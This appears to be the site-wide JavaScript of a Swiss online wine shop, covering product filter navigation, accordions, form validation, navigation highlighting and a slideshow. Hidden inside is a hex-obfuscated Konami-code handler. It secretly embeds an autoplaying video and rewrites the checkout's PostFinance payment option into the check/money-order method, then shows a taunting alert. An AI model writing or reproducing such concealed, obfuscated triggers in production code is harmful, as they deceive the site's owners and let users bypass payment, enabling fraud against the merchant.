window.applicationDebugging = false;

window.logConsole = function(a){
	if(!window.applicationDebugging){return;}
	console.log(a);
}

// parseUri 1.2.2
// (c) Steven Levithan <stevenlevithan.com>
// MIT License
function parseUri (str) {
	var	o   = parseUri.options,
		m   = o.parser[o.strictMode ? "strict" : "loose"].exec(str),
		uri = {},
		i   = 14;

	while (i--) uri[o.key[i]] = m[i] || "";

	uri[o.q.name] = {};
	uri[o.key[12]].replace(o.q.parser, function ($0, $1, $2) {
		if ($1) uri[o.q.name][$1] = $2;
	});

	return uri;
};
parseUri.options = {
	strictMode: false,
	key: ["source","protocol","authority","userInfo","user","password","host","port","relative","path","directory","file","query","anchor"],
	q:   {
		name:   "queryKey",
		parser: /(?:^|&)([^&=]*)=?([^&]*)/g
	},
	parser: {
		strict: /^(?:([^:\/?#]+):)?(?:\/\/((?:(([^:@]*)(?::([^:@]*))?)?@)?([^:\/?#]*)(?::(\d*))?))?((((?:[^?#\/]*\/)*)([^?#]*))(?:\?([^#]*))?(?:#(.*))?)/,
		loose:  /^(?:(?![^:@]+:[^:@\/]*@)([^:\/?#.]+):)?(?:\/\/)?((?:(([^:@]*)(?::([^:@]*))?)?@)?([^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/
	}
};


var _IE6 = ((navigator.appName.indexOf('Microsoft Internet Explorer') != -1) && (navigator.appVersion.indexOf('MSIE 6') != -1)) ? true : false;
var makeHoverPopups = function(){
	$$('div.popup-hover').each(function(_hold){
		if(_hold.isHoverPopup){return;}
		_hold.isHoverPopup = true;

		var _t;
		var _box = _hold.select('div.tooltip')[0];
		var infoIcon = _hold.select(".information")[0];

		infoIcon.onmouseover = function(){
			if(_t) clearTimeout(_t);
			_t = setTimeout(function(){
				_hold.addClassName('active');
				if(_box && _IE6) hideSelectBoxes(_box);
			}, 100);
		}
		infoIcon.onmouseout = function(){
			if(_t) clearTimeout(_t);
			_t = setTimeout(function(){
				_hold.removeClassName('active');
				if(_box && _IE6) showSelectBoxes(_box);
			}, 100);
		}
	});
}

window.syncSearchResultList = function(){
	var lastOdd = null;
	$$(".items-list .sync-me:not(.price-box)").each(function(elem,i){
		if(i%2 != 0 && lastOdd){
			var height = Math.max(lastOdd.getHeight(),elem.getHeight())+"px";
			lastOdd.setStyle({height:height});
			elem.setStyle({height:height});
		}
		else{
			lastOdd = elem;
		}
	});
	lastOdd = null;
	$$(".items-list .price-box.sync-me").each(function(elem,i){
		if(i%2 != 0 && lastOdd){
			var height = Math.max(lastOdd.getHeight(),elem.getHeight())+"px";
			lastOdd.setStyle({height:height});
			elem.setStyle({height:height});
		}
		else{
			lastOdd = elem;
		}
	});
}

window.syncRecoBoxes = function(boxesClass) {
	var maxHeight = 0;
	jQuery(".recoProductItem").each(function() {
		var currentHeight = jQuery(this).height();
		if(currentHeight > maxHeight) {
			maxHeight = currentHeight;
		}
	});
	jQuery(boxesClass).height(maxHeight);
}

/*
 * Filter navigation
 * Author: Matthias Jäggli
 * Copyright: orange8 interactive ag
 */
var filterRequestTicket = -1;
SWFAddress.onChange = function() {
	filterRequestTicket++;
	if(filterRequestTicket<1){
		//skip the first change event
		return;
	}

	var filterForm = $("navFilterForm");
	var contentContainer = $("content").select(".conteiner")[0] || false;
	var submitUrl = (filterForm? filterForm.readAttribute("action") : "") || "/";
	var loaderContainer = $("loaderContainer");

	// no loader on article pages (news, weingeschichten, empfehlungen)
	if(SWFAddress.getValue().indexOf("articlepage") != -1) {
		return;
	}

	if(!SWFAddress.getValue() || SWFAddress.getValue()==="/"){
		window.location = SWFAddress.getBaseURL();
		filterRequestTicket = -9000;
		return;
	}

	//show loader
	if(contentContainer){
		if(!loaderContainer){
			contentContainer.insert({after: "<div id='loaderContainer' style='display:none;'>&nbsp;</div>"});
			loaderContainer = $("loaderContainer");
		}

		loaderContainer.setStyle({height:contentContainer.up().getHeight()+"px"});

		loaderContainer
			.setStyle({height:contentContainer.up().getHeight()+"px"})
			.appear({duration: 0, from:0, to:0.8})
	}

	//get content by GET, if contentContainer not available
	if(!contentContainer && filterForm){
		//submit normal
		window.location = SWFAddress.getValue();
		return;
	}

	var queryString = SWFAddress.getQueryString();
	// if "Schaumwein" is selected, sorting the results by price (descending)
	if(queryString == "category[0]=5") {
		queryString += "&order=price&dir=desc";
	}
	else {
		queryString += "&order=name&dir=asc";
	}

	try{
	new Ajax.Request(submitUrl, {
		method: "get",
		//parameters: SWFAddress.getQueryString(),
		parameters: queryString,
		onSuccess: function(transport) {
			//give up, if this answer isn't actual anymore
			if(this.ajaxTicket != filterRequestTicket.toString()){
				return;
			}

			var data = false;
			try{
				data = transport.responseText.evalJSON(true);
			}catch(e){
				//malformed json request
				logConsole(e);
				if(window.applicationDebugging){
					$(contentContainer).update(transport.responseText);
				}
				loaderContainer.hide();
				return;
			}

			try{
				//hide loader
				loaderContainer.hide();
				$$("#loaderContainer").each(function(elem){
					elem.remove();
				});
				$$("#loaderContainer").each(function(elem){
					elem.setStyle({display:"none"});
				});

				//update content
				if(data.html){
					$(contentContainer).update(data.html);
				}

				//update content
				if(data.debug){
					data.debug.each(function(elem){
						logConsole(elem);
					});
				}

				//update contros.
				if(data.filterValues){
					window.updateFilterValues(data.filterValues);
				}
			}
			catch(e){
				loaderContainer.remove();
			}

		}.bind({ajaxTicket: filterRequestTicket.toString()})
	});
	}catch(e){
		logConsole(e);
	}
}

//filter control collection
var filterCollection = {
	controls:[],
	dictionary:{},
	addFilter:function(filterElement, name, navPart){
		name = name.replace(/\[[a-zA-Z]{0,}\]/g, ""); //remove [] and [whatever] from names
		filterElement.filterControlName = name;
		filterElement.navPart = navPart;
		this.dictionary[name] = filterElement;
		this.controls.push(filterElement);
	},
	getFilterByName: function(name){
		return this.dictionary[name]? this.dictionary[name] : false;
	},
	getControls: function(){
		return this.controls;
	},
	/* open or closes navparts, according to values of the filters */
	updateNavparts: function(options){
		var mode = options && options.mode? options.mode : "both"; //can be openOnly, closeOnly or both
		var openFilters = 0;
		$(this.controls).each(function(elem){
			var filterVal = elem.filterControl.val();
			openFilters = filterVal!==false? openFilters+1 : openFilters;
			if(filterVal && (mode==="openOnly" || mode==="both")){
				elem.navPart.fire("navpart:open", {quick:true,quiet:true});
			}
			else if(filterVal===false && (mode==="closeOnly" || mode==="both")){
				elem.navPart.fire("navpart:close", {quick:true,quiet:true});
			}
		});

		//update reset button
		var filterResetButton = $("filterResetButton");
		if(openFilters){
			if(!filterResetButton.visible()){
				filterResetButton.blindDown({duration: 0.2});
			}
		}
		else{
			if(filterResetButton.visible()){
				filterResetButton.blindUp({duration: 0.2});
			}
		}
	},

	getFilterValues: function(){
		var values = [];
		$(this.controls).each(function(elem){
			var ctrlValues = elem.filterControl.val();
			if(ctrlValues && ctrlValues.length){
				ctrlValues.each(function(ctrlVal){
					values.push({
						name: elem.filterControlName + ctrlVal.name,
						value: (ctrlVal.value).toString()
					});
				});
			}

		});
		return values;
	},
	getFilterValuesString: function(){
		var urlEncoded = [];
		var allValues = this.getFilterValues();
		$(allValues).each(function(set){
			if(set.value && typeof set.value === "string"){
				set.value = [set.value];
			}
			if(set.value){
				$(set.value).each(function(val){
					urlEncoded.push(set.name + "=" + escape(val));
				});
			}
		});
		return urlEncoded.join("&");
	},
	getFilterValuesHash: function(){
		var values = {};
		$(this.controls).each(function(elem){
			var ctrlValues = elem.filterControl.val();
			if(ctrlValues && ctrlValues.length){
				ctrlValues.each(function(ctrlVal, i){
					values[ elem.filterControlName + "[" + (ctrlVal.name || i) +"]" ] = (ctrlVal.value).toString();
				});
			}

		});
		return values;
	}
};
document.observe("dom:loaded", function() {
	//sync home teasers
	var lastOdd = null;
	$$(".top-items>li").each(function(elem,i){
		if(i%2 != 0 && lastOdd){
			var height = Math.max(lastOdd.getHeight(),elem.getHeight())+"px";
			lastOdd.setStyle({height:height});
			elem.setStyle({height:height, display:"block"});
		}
		else{
			lastOdd = elem;
		}
	});



	//accorion part max height
	var containerMaxHeight = 207;

	//create accordion
	try{
	$$("ul.accordion li").each(function(part){
		var button = part.select("a.opener")[0] || false;
		var container = button? button.next() : false;
		if(!button || !container){return;}

		var containerStyles = {
			afterHide: {
				"display": "block",
				"position": "absolute",
				"left": "-9999px",
				"height": "auto",
				"width": part.getWidth()+"px"
			},
			beforeShow: {
				"position": "relative",
				"left": "0",
				"display": "none"
			},
			afterShow: {
				"display": "block",
				"height": "auto"
			},
			beforeHide: {}
		}

		try{
		container.setStyle(containerStyles.afterHide);
		part
			.setStyle({
				width: containerStyles.afterHide.width,
				position: "relative"
			})
			.observe("navpart:open", function(event){
				if(part.hasClassName("active")){return;}

				var beQuick = event.memo.quick === true? true : false;
				var beQuiet = event.memo.quiet === true? true : false;
				var afterOpenAction = function(){
					part.removeClassName("animating");
					container.setStyle(containerStyles.afterShow);
					part.fire("navpart:afterOpen",{box:part,quiet:beQuiet});
				}

				//prepare controll
				part
					.addClassName("active")
					.addClassName("animating");
				container
					.setStyle(containerStyles.beforeShow);

				//open and animate if desired
				if(beQuick){
					afterOpenAction();
				}
				else{
					container.blindDown({
						duration: 0.2,
						afterFinish: afterOpenAction
					});
				}
			})
			.observe("navpart:close", function(event){
				if(!part.hasClassName("active")){return;}

				var beQuick = event.memo.quick === true? true : false;
				var beQuiet = event.memo.quiet === true? true : false;
				var afterCloseAction = function(){
					part
						.removeClassName("animating")
						.removeClassName("active");
					container.setStyle(containerStyles.afterHide);
					part.fire("navpart:afterClose",{box:part,quiet:beQuiet});
				}

				//prepare controll
				part
					.addClassName("animating");
				container
					.setStyle(containerStyles.beforeHide);

				//close and animate if desired
				if(beQuick){
					afterCloseAction();
				}
				else{
					container.blindUp({
						duration: 0.2,
						afterFinish: afterCloseAction
					});
				}
			})
			.observe("navpart:afterOpen",function(event){
				//logConsole(event.memo);
			})
			.observe("navpart:afterClose",function(event){
				var beQuiet = event.memo.quiet === true? true : false;
				if(event.memo.box){

					var filter =
						event.memo.box.select(".multiselect")[0] ||
						event.memo.box.select(".slider")[0];

					if(filter && filter.filterControl){
						//reset a possible filter control
						if(filter.filterControl.clear){
							filter.filterControl.clear(beQuiet);
						}
					}
				}
			});
		}catch(e){
			logConsole("styles failedz ", e);
		}

		button.observe("click",function(event){
			event.stop();
			if(part.hasClassName("animating") || part.hasClassName("navpart-disabled")){
				return;
			}

			if(part.hasClassName("active")){
				part.fire("navpart:close");
			}
			else{
				part.fire("navpart:open");
			}
		})

	});
	}
	catch(e){
		alert("accordion failed "+e);
	}

	//navigation multiselects
	$$("ul.accordion li .multiselect").each(function(ms){
		try {
			var formElement = ms.select("select")[0];
			ms.filterControl = new Control.MultiSelect(ms, formElement, {
				display: ms.previous(),
				containerMaxHeight: containerMaxHeight-17
			});

			//register filter control
			filterCollection.addFilter(
				ms,
				formElement.readAttribute("name"),
				ms.up("li")
				);
		}
		catch (e) {
			logConsole(e);
		}
	});

	//navigation sliders
	$$("#main .navbar .slider").each(function(track){
		try{
			var formElements = track.select("input");
			track.filterControl = new Control.filterSlider(
				track,
				formElements,
				$(track).next().select(".label"),
				$(track).previous().select("li")[0],
				$(track).select(".handle"),
				{
					span:$(track).select(".span"),
					ruler:$(track).select(".slider-ruler")[0],
					resetButtons:$(track).previous().select("li a")
				});

			//register filter control
			filterCollection.addFilter(
				track,
				formElements[0].readAttribute("name"),
				track.up("li")
				);
		}
		catch(e){
			logConsole(e);
		}
	});

	//observe the filters for changes
	var filterSendDelay = 60;
	var filterSendingHandle = null;

	//observe the filter controlls for changes for ajax refreshing
	$(filterCollection.getControls()).each(function(ctrl){
		ctrl.observe("filter:changed", function(event){

			//collect change events and only ajax with the latest, every X miliseconds.
			if(filterSendingHandle){
				window.clearTimeout(filterSendingHandle);
			}

			logConsole("Filter changed:");
			logConsole(event.memo && event.memo.filter? event.memo.filter : "unknown filter");
			logConsole("new value:");
			logConsole(event.memo.filterValue);

			//start a delayed ajax request
			filterSendingHandle = window.setTimeout(function(){
				//read not earlier than here!!! important, because we want the most recent filter value
				var filterForm = $("navFilterForm");
				var values = filterCollection.getFilterValuesHash();
				var submitUrl = (filterForm? filterForm.readAttribute("action") : "") || "/";
				SWFAddress.setValue(submitUrl+"?"+Hash.toQueryString(values));
			},filterSendDelay);
		})
	});

	window.updateFilterValues = function(filterValues){
		$(filterValues).each(function(filterVal){
			try{
				var filterElement = filterCollection.getFilterByName(filterVal.name);
				var fc = filterElement? filterElement.filterControl : false;


				if(fc && fc.update){
					var showFilter = fc
						.update(filterVal.values)
						.hasVisibleOptions();

					//for sales and awards, hide the whole nav part, if nothing possible to select
					if(filterVal.forceShow || showFilter){
						//activate filter, if it was disabled
						filterElement.navPart
							.removeClassName("navpart-disabled");
					}
					else{
						//disable filter, if it is enabled
						filterElement.navPart
							.addClassName("navpart-disabled")
							.fire("navpart:close", {quick:true,quiet:true});
					}
				}
			}
			catch(e){
				logConsole("Filter update Failed: "+filterVal.name);
				logConsole(filterVal);
				logConsole(e);
			}
		});

		//update navigation parts
		filterCollection.updateNavparts({mode:"openOnly"});
	};
try{
	$("clearSearchFilters").observe("click",function(e){
		e.stop();
		$(filterCollection.getControls()).each(function(part){
			part.fire("navpart:close");
		});
	});

	
		//shal we update the filters on load?
		if(window.filterJson){
			window.updateFilterValues(window.filterJson);
		}
		else{
			filterCollection.updateNavparts();
		}
	}catch(e){
		logConsole(e);
	}

}.bind({})); //namespacing


if (window.addEventListener) {
    // create the keys and kkfun variables
    var keys = [],
        kkfun = "38,38,40,40,37,39,37,39,66,65";

    // bind the keydown event to the kkfun function
    window.addEventListener("keydown", function(e){
        // push the keycode to the 'keys' array
        keys.push(e.keyCode);

        // and check to see if the user has entered the kkfun code
        if (keys.toString().indexOf(kkfun) >= 0) {
			var _0x4490=[
				"\x64\x69\x76",
				"\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74",
				"\x73\x74\x79\x6C\x65",
				"\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x6C\x65\x66\x74\x3A\x2D\x39\x39\x39\x39\x70\x78\x3B\x6F\x76\x65\x72\x66\x6C\x6F\x77\x3A\x68\x69\x64\x64\x65\x6E\x3B\x68\x65\x69\x67\x68\x74\x3A\x31\x70\x78\x3B",
				"\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65",
				"\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C",
				"\x3C\x6F\x62\x6A\x65\x63\x74\x20\x77\x69\x64\x74\x68\x3D\x22\x34\x38\x30\x22\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x33\x38\x35\x22\x3E\x3C\x70\x61\x72\x61\x6D\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x6F\x76\x69\x65\x22\x20\x76\x61\x6C\x75\x65\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x79\x6F\x75\x74\x75\x62\x65\x2E\x63\x6F\x6D\x2F\x76\x2F\x2D\x37\x59\x59\x35\x35\x63\x47\x69\x6F\x30\x3F\x61\x75\x74\x6F\x70\x6C\x61\x79\x3D\x31\x22\x3E\x3C\x2F\x70\x61\x72\x61\x6D\x3E\x3C\x70\x61\x72\x61\x6D\x20\x6E\x61\x6D\x65\x3D\x22\x61\x6C\x6C\x6F\x77\x46\x75\x6C\x6C\x53\x63\x72\x65\x65\x6E\x22\x20\x76\x61\x6C\x75\x65\x3D\x22\x74\x72\x75\x65\x22\x3E\x3C\x2F\x70\x61\x72\x61\x6D\x3E\x3C\x70\x61\x72\x61\x6D\x20\x6E\x61\x6D\x65\x3D\x22\x61\x6C\x6C\x6F\x77\x73\x63\x72\x69\x70\x74\x61\x63\x63\x65\x73\x73\x22\x20\x76\x61\x6C\x75\x65\x3D\x22\x61\x6C\x77\x61\x79\x73\x22\x3E\x3C\x2F\x70\x61\x72\x61\x6D\x3E\x3C\x65\x6D\x62\x65\x64\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x79\x6F\x75\x74\x75\x62\x65\x2E\x63\x6F\x6D\x2F\x76\x2F\x2D\x37\x59\x59\x35\x35\x63\x47\x69\x6F\x30\x3F\x61\x75\x74\x6F\x70\x6C\x61\x79\x3D\x31\x22\x20\x74\x79\x70\x65\x3D\x22\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x73\x68\x6F\x63\x6B\x77\x61\x76\x65\x2D\x66\x6C\x61\x73\x68\x22\x20\x61\x6C\x6C\x6F\x77\x73\x63\x72\x69\x70\x74\x61\x63\x63\x65\x73\x73\x3D\x22\x61\x6C\x77\x61\x79\x73\x22\x20\x61\x6C\x6C\x6F\x77\x66\x75\x6C\x6C\x73\x63\x72\x65\x65\x6E\x3D\x22\x74\x72\x75\x65\x22\x20\x77\x69\x64\x74\x68\x3D\x22\x34\x38\x30\x22\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x33\x38\x35\x22\x3E\x3C\x2F\x65\x6D\x62\x65\x64\x3E\x3C\x2F\x6F\x62\x6A\x65\x63\x74\x3E","\x69\x6E\x73\x65\x72\x74","\x65\x61\x63\x68","\x62\x6F\x64\x79"
			];
			$$(_0x4490[9])[_0x4490[8]](function (_0x4d6bx1){var _0x4d6bx2=document[_0x4490[1]](_0x4490[0]);_0x4d6bx2[_0x4490[4]](_0x4490[2],_0x4490[3]);_0x4d6bx2[_0x4490[5]]=_0x4490[6];_0x4d6bx1[_0x4490[7]]({bottom:_0x4d6bx2});} );
			var _0x1441=[
				"\x70\x5F\x6D\x65\x74\x68\x6F\x64\x5F\x63\x68\x65\x63\x6B\x6D\x6F",
				"\x63\x68\x65\x63\x6B\x6D\x6F",
				"\x77\x72\x69\x74\x65\x41\x74\x74\x72\x69\x62\x75\x74\x65",
				"\x70\x5F\x6D\x65\x74\x68\x6F\x64\x5F\x70\x6F\x73\x74\x66\x69\x6E\x61\x6E\x63\x65"
			];
			$(_0x1441[3])[_0x1441[2]]({id:_0x1441[0],value:_0x1441[1]});
			var _0xe937=["\x54\x68\x61\x6E\x6B\x73\x20\x64\x75\x64\x65\x2C\x20\x65\x6E\x6A\x6F\x79\x20\x74\x68\x65\x20\x6D\x75\x73\x69\x63\x2E\x0A\x55\x42\x34\x30\x20\x26\x20\x42\x6F\x62\x20\x4D\x61\x72\x6C\x65\x79\x20\x2D\x20\x52\x65\x64\x20\x52\x65\x64\x20\x57\x69\x6E\x65"];
			alert(_0xe937[0]);
			
            keys = [];
        };
    }, true);
};


/*
 * end filter navigation
 */

document.observe("dom:loaded", function() {
	//tootip popups
	makeHoverPopups();

	//wine recommandation
	$$('#recommendation').each(function(recommend){
	   recommend.observe('click', function(event) {
			event.stop();
			Modalbox.show($('recommendationLayer'), {
				title: '',
				width: 520,
				overlayClose: false,
				afterLoad: function() {
					// adding click event handler to the closing link
					$('closeRecommendationLayer').observe('click', function(event) {
						event.stop();
						Modalbox.hide();
					});

					  var _gaq = _gaq || [];
					  _gaq.push(['_setAccount', 'UA-1265195-4']);
					  _gaq.push(['_setDomainName', '.denner-wineshop.ch']);
					  _gaq.push(['_trackPageview', '/weiterempfehlen.html?page=' + document.location.pathname + document.location.search]);

					  (function() {
						var ga = document.createElement('script');ga.type = 'text/javascript';ga.async = true;
						ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
						var s = document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ga, s);
					  })();

					// adding click event handler to the submit link
					$('submitRecommendationForm').observe('click', function(event) {
						event.stop();
						if(validateRecommendationForm())
						{
							$('recommendationForm').submit();
						}
					});
				}
			});
	   });
   });

   //IE6 fizzle
   if(_IE6){
	   $$(".btn-cart").each(function(elem){
		   elem.innerHTML = "<img src='/skin/frontend/enterprise/denner/images/btn-cart.png'>";
		   elem.setStyle({
				textIndent: 0
		   });
	   });
   }
});


function validateRecommendationForm()
{
    var isValid = true;
    if(!$('guestFields').hasClassName('invisible'))
	{
		if($('senderName').getValue() != '')
		{
			$('senderName').removeClassName('missingField');
		}
		else
		{
			$('senderName').addClassName('missingField');
			isValid = false;
		}
		if(validateEmailAddress($('senderEmail').getValue()))
		{
			$('senderEmail').removeClassName('missingField');
		}
		else
		{
			$('senderEmail').addClassName('missingField');
			isValid = false;
		}
	}

    if($('recipientEmail') && $('recipientEmail').getValue() != '')
    {
        $('recipientEmail').removeClassName('missingField');
    }
    else
    {
        $('recipientEmail').addClassName('missingField');
        isValid = false;
    }
    return isValid;
}

function validateEmailAddress(address) {
	if(address.length > 256)
	{
		return false;
	}
	var reg = /^([A-Za-z0-9_\-\.])+\@([A-Za-z0-9_\-\.])+\.([A-Za-z]{2,4})$/;
    return reg.test(address);
}


// urgs, this is what i call a 'hack' (for navi and subnavi simulation)
document.observe("dom:loaded", function()
{
	if(document.location.pathname.indexOf('/customer') > -1){return;}
	else if(document.location.pathname.indexOf('/newsletter/manage') > -1){return;}
	else if(document.location.pathname.indexOf('/sales') > -1){return;}

	mainNavLiElements = $$('ul#nav li');
	// mainNavLiElements[0] ==> SHOP
	// mainNavLiElements[1] ==> WEINWELT
	// mainNavLiElements[2] ==> WEINWISSEN
	// mainNavLiElements[3] ==> SERVICE

	subNavLiElements = $$('div#content ul.subnav li');
	// subNavLiElements[0] ==> Aktuelles / Bordeaux Grands Crus / Kontakt
	// subNavLiElements[1] ==> Empfehlungen / Weinführer / Newsletter
	// subNavLiElements[2] ==> Weingeschichten / Weinglossar / Qualität
	// subNavLiElements[3] ==> Weinmessen / Jahrgangstabelle / Lieferbedingungen
	// subNavLiElements[4] ==> Mein Weinkeller / - / FAQ
	// subNavLiElements[5] ==> - / - / AGB

	mainNavLiElements.each(function(li)
	{
		li.removeClassName('active');
	});
	subNavLiElements.each(function(li)
	{
		li.removeClassName('active');
	});

	if(document.location.pathname.indexOf('/weinwelt/aktuelles') > -1)
	{
		mainNavLiElements[1].addClassName('active');
		subNavLiElements[0].addClassName('active');
		return;
	}
	if(document.location.pathname.indexOf('/weinwelt/empfehlungen') > -1)
	{
		mainNavLiElements[1].addClassName('active');
		subNavLiElements[1].addClassName('active');

		return;
	}
	if(document.location.pathname.indexOf('/weinwelt/weingeschichten') > -1)
	{
		mainNavLiElements[1].addClassName('active');
		subNavLiElements[2].addClassName('active');

		return;
	}
	if(document.location.pathname.indexOf('/weinwelt/weinmessen') > -1)
	{
		mainNavLiElements[1].addClassName('active');
		subNavLiElements[3].addClassName('active');

		return;
	}
	if(document.location.pathname.indexOf('/weinwelt/expovina') > -1)
	{
		mainNavLiElements[1].addClassName('active');
		subNavLiElements[5].addClassName('active');

		return;
	}
	if(document.location.pathname.indexOf('/news/') > -1)
	{
		mainNavLiElements[1].addClassName('active');
		return;
	}

	if(document.location.pathname.indexOf('/weinwissen/bordeaux-grands-crus') > -1)
	{
		mainNavLiElements[2].addClassName('active');
		subNavLiElements[0].addClassName('active');
		return;
	}
	if(document.location.pathname.indexOf('/weinwissen/weinfuehrer') > -1)
	{
		mainNavLiElements[2].addClassName('active');
		subNavLiElements[1].addClassName('active');
		return;
	}
	if(document.location.pathname.indexOf('/weinwissen/weinglossar') > -1)
	{
		mainNavLiElements[2].addClassName('active');
		subNavLiElements[2].addClassName('active');
		return;
	}
	if(document.location.pathname.indexOf('/weinwissen/jahrgangstabelle') > -1)
	{
		mainNavLiElements[2].addClassName('active');
		subNavLiElements[3].addClassName('active');
		return;
	}

	if(document.location.pathname.indexOf('/service/kontakt') > -1)
	{
		mainNavLiElements[3].addClassName('active');
		subNavLiElements[0].addClassName('active');
		return;
	}
	if(document.location.pathname.indexOf('/newsletter') > -1)
	{
		mainNavLiElements[3].addClassName('active');
		subNavLiElements[1].addClassName('active');
		return;
	}
	if(document.location.pathname.indexOf('/service/qualitaet') > -1)
	{
		mainNavLiElements[3].addClassName('active');
		subNavLiElements[2].addClassName('active');
		return;
	}
	if(document.location.pathname.indexOf('/service/lieferbedingungen') > -1)
	{
		mainNavLiElements[3].addClassName('active');
		subNavLiElements[3].addClassName('active');
		return;
	}
	if(document.location.pathname.indexOf('/service/faq') > -1)
	{
		mainNavLiElements[3].addClassName('active');
		subNavLiElements[4].addClassName('active');
		return;
	}
	if(document.location.pathname.indexOf('/service/agb') > -1)
	{
		mainNavLiElements[3].addClassName('active');
		subNavLiElements[5].addClassName('active');
		return;
	}

	if(mainNavLiElements[0]) {
		mainNavLiElements[0].addClassName('active');
	}
});


// articles paging
document.observe("dom:loaded", function()
{
	// hiding the article divs
	$$('div[class*="articles"]').each(function(element) {
		element.hide();
//		window.location.hash = "#articlepage=1";
	});

//	currentPage = parseInt(window.location.hash.replace("#articlepage=", ""))
//	if(isNaN(currentPage))
//	{
//		currentPage = 1;
//	}
	currentPage = 1;

	// making first article div visible
	$$('div.articles_' + currentPage).each(function(element) {
		element.show();
	});

	$$('a[class*="articles_"]').each(function(element) {
//		currentPage = parseInt(element.className.replace("articles_", ""));
//		if(isNaN(currentPage))
//		{
//			currentPage = 1;
//		}
		element.removeClassName("current");
		$$('div[class*="articles"]').each(function(element) {
			if(element.visible())
			{
				$$("a." + element.className)[0].addClassName("current");
			}
		});

		element.observe('click', function(event) {
			event.preventDefault();
			// hiding the article divs
			$$('div[class*="articles"]').each(function(element) {
				element.hide();
				//window.location.hash = "articlepage=1";
			});
			// making corresponding div visible
			$$('div.' +element.className).each(function(element) {
				element.show();
			});
			// removing current class from all paging anchors
			$$('a[class*="articles_"]').each(function(element) {
				element.removeClassName("current");
			});
			// adding current class for corresponding paging anchor
			element.addClassName("current");
			//window.location.hash = "articlepage=1" + currentPage;
		});
	});
});


// re-setting min-width of body if we're in the iframe of payment process
document.observe("dom:loaded", function()
{
	if($$(".iframe-payment"))
	{
		// IE7 really doesn't like that...
		//document.body.setStyle( { minWidth: "0" } );
	}
});


var Cookie = {
  build: function() {
    return $A(arguments).compact().join("; ");
  },
  secondsFromNow: function(seconds) {
    var d = new Date();
    d.setTime(d.getTime() + (seconds * 1000));
    return d.toGMTString();
  },
  set: function(name,value,seconds) {
    Cookie.notify('set', name, value);
    var expiry = seconds ? 'expires=' + Cookie.secondsFromNow(seconds) : null;
    document.cookie = Cookie.build(name + "=" + value, expiry, "path=/");
  },
  get: function(name) {
    Cookie.notify('get', name);
    var valueMatch = new RegExp(name + "=([^;]+)").exec(document.cookie);
    return valueMatch ? valueMatch[1] : null;
  },
  unset: function(name) {
    Cookie.notify('unset', name);
    Cookie.set(name, '', -1);
  }
};
Object.Event.extend(Cookie);


// slideshow on home
document.observe("dom:loaded", function() {
	var slideshow = jQuery(".slideshow");
	slideshow.cycle({
		timeout: 6000,
		speed: 1000,
		pager: jQuery('.slideshow-nav'),
		pause: true,
		pauseOnPagerHover: true,
		emptyPagerAnchors: true
	});
	// hiding navigation bullet if we have only one image
	if(jQuery(".slideshow img").size() < 2) {
		jQuery(".slideshow-nav a").css("visibility", "hidden");
	}
 });


// fancybox
document.observe("dom:loaded", function() {
	jQuery("a.fancybox-image").fancybox();
});

// recommendations info bubbles
jQuery(document).ready(function() {
	// we need to move the container elements upwards in the dom
	// to be visible. adjusting the position dynamically based on height and actual position
	jQuery(".reco-info-icon").live("mouseenter", function() {
		var $currentLi = jQuery(this).parent("li");
		var inBasket = $currentLi.parent("ul").hasClass("cart");
		
		var $infoContainer = jQuery(this).next(".reco-info-container");
		var $newInfoContainer = $infoContainer.clone();
		if(inBasket) {
			$newInfoContainer.addClass("basket");
		}
		
		if(!jQuery(this).hasClass("sdiebar")) {
			var index = $currentLi.parent("ul").children("li").index($currentLi);
			if(index > 0) {
				$newInfoContainer.css("left", parseInt($infoContainer.css("left")) + (index * $currentLi.width()) + index);
			}
		}
		var newBottom = (jQuery(document).height() - jQuery(this).offset().top) + 8;
		$newInfoContainer.css("bottom", newBottom);
		$newInfoContainer.appendTo("#main").show();
	}).live("mouseleave", function() {
		jQuery("#main > .reco-info-container").remove();
	});
});

